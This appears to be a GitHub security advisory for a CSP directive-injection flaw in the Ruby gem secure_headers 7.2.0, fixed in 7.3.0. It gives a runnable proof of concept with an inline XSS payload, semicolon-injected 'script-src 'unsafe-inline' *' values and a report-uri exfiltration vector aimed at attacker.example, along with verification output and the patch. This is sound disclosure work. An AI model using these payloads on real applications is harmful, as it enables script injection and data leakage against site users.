Advisory

GHSA-rqq5-2gf9-4w4q

Details, part 2 of 2. The advisory

Details

Proof of concept

Pinned reproduction against a minimal Rack app on secure_headers 7.2.0, rack 3.2.6, rackup 2.3.1, webrick 1.9.2. Browser verification uses headless Chromium.

Install (Bundler):

# Gemfile
source "https://rubygems.org"
gem "secure_headers", "= 7.2.0"
gem "rack",           "= 3.2.6"
gem "rackup",         "= 2.3.1"
gem "webrick", "= 1.9.2"
bundle install

Driver (poc_e2e.rb):

require "rack"
require "webrick"
require "rackup"
require "rackup/handler/webrick"
require "secure_headers"

SecureHeaders::Configuration.default do |c|
  c.csp = {default_src: %w('self'), script_src: %w('self'), style_src: %w('self')}
end

INLINE_XSS = "<script>document.body.appendChild(Object.assign(" \
             "document.createElement('div'),{id:'pwn',innerText:" \
             "'XSS-EXECUTED via '+location.pathname}));</script>"

class App
  def call(env)
    req = Rack::Request.new(env)
    case req.path_info
    when "/sandbox"  # Vector A
      SecureHeaders.override_content_security_policy_directives(req,
        sandbox: ["allow-scripts allow-same-origin; script-src 'unsafe-inline' *"])
    when "/plugin"   # Vector B
      SecureHeaders.override_content_security_policy_directives(req,
        plugin_types: ["application/x-foo; script-src 'unsafe-inline' *"])
    when "/report"   # Vector C (report-uri exfil)
      SecureHeaders.override_content_security_policy_directives(req,
        report_to: "default; report-uri https://attacker.example/leak")
    when "/control"  # Negative — same payload on a source_list directive
      SecureHeaders.override_content_security_policy_directives(req,
        frame_src: ["'self'", "evil.example; script-src 'unsafe-inline' *"])
    end
    body = "<!doctype html>#{INLINE_XSS}"
    [200, {"content-type"=>"text/html"}.merge(SecureHeaders.header_hash_for(req)), [body]]
  end
end

Rackup::Handler::WEBrick.run(
  Rack::Builder.new { use SecureHeaders::Middleware; run App.new },
  Host: "127.0.0.1", Port: 14567, AccessLog: [], Logger: WEBrick::Log.new(nil, 0))

Run:

bundle exec ruby poc_e2e.rb

End-to-end reproduction against secure_headers 7.2.0

Server-side observation (curl -s -D - http://127.0.0.1:14567/<path>):

GET /sandbox  -> content-security-policy:
    default-src 'self'; sandbox allow-scripts allow-same-origin;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /plugin   -> content-security-policy:
    default-src 'self'; plugin-types application/x-foo;
    script-src 'unsafe-inline' *; script-src 'self'; style-src 'self'

GET /report   -> content-security-policy:
    default-src 'self'; script-src 'self'; style-src 'self';
    report-to default; report-uri https://attacker.example/leak

GET /control  -> content-security-policy:
    default-src 'self'; frame-src 'self' evil.example  script-src
    'unsafe-inline' *; script-src 'self'; style-src 'self'

Browser verification (headless Chromium, --dump-dom, grep for the injected id="pwn" element which is only present if the inline <script> actually ran):

GET /sandbox  -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /plugin   -> pwn element PRESENT  (XSS executed, injected script-src wins)
GET /report   -> pwn element absent   (this vector enables report-uri exfil,
                                       not script execution by itself)
GET /control  -> pwn element absent   (existing scrub on the source-list
                                       builder rewrites ; -> space, so the
                                       legitimate `script-src 'self'` is
                                       still the first match)

Patched-build verification: applying the patch and re-running the same three vectors flips /sandbox and /plugin to "pwn element absent". The injected ; is replaced with a space, so the trailing script-src 'unsafe-inline' * collapses into the parent directive's value list instead of becoming a sibling directive, and the legitimate script-src 'self' stays the first script-src the parser encounters.

Patch

Shipped in 7.3.0 as a private helper that scrubs ;, \r, and \n from every directive value, applied uniformly across the three previously-uncovered builders and the source-list builder.

Sketch of the shipped change in lib/secure_headers/headers/content_security_policy.rb:

DIRECTIVE_INJECTION_REGEX = /[\n\r;]/.freeze

def scrub_directive_value(directive, value)
  str = value.to_s
  if str =~ DIRECTIVE_INJECTION_REGEX
    Kernel.warn("#{directive} contains a #{$~[0].inspect} in #{str.inspect} which will raise an error in future versions. It has been replaced with a blank space.")
    str.gsub(DIRECTIVE_INJECTION_REGEX, " ")
  else
    str
  end
end

The helper is invoked from each builder against the joined directive value (not per-token), so a single Kernel.warn is emitted per directive regardless of how many offending bytes the input contains. The same helper now also wraps the existing source-list scrub.

See the merged fix PR for the full patch and tests.

Credit

Reported by @tonghuaroot.

Resources

  • CVE-2020-5217 — prior secure_headers advisory for the same bug class on build_source_list_directive (the 2020 fix that motivated the helper this advisory extends).
  • W3C CSP Level 3 — Parse a serialized CSP — defines the first-occurrence rule that makes the alphabetical-ordering exploit work.
  • RFC 7230 §3.2.4 — Field parsing — context for why bare \r / \n in HTTP header values are unsafe regardless of directive separator semantics.

Sources & licences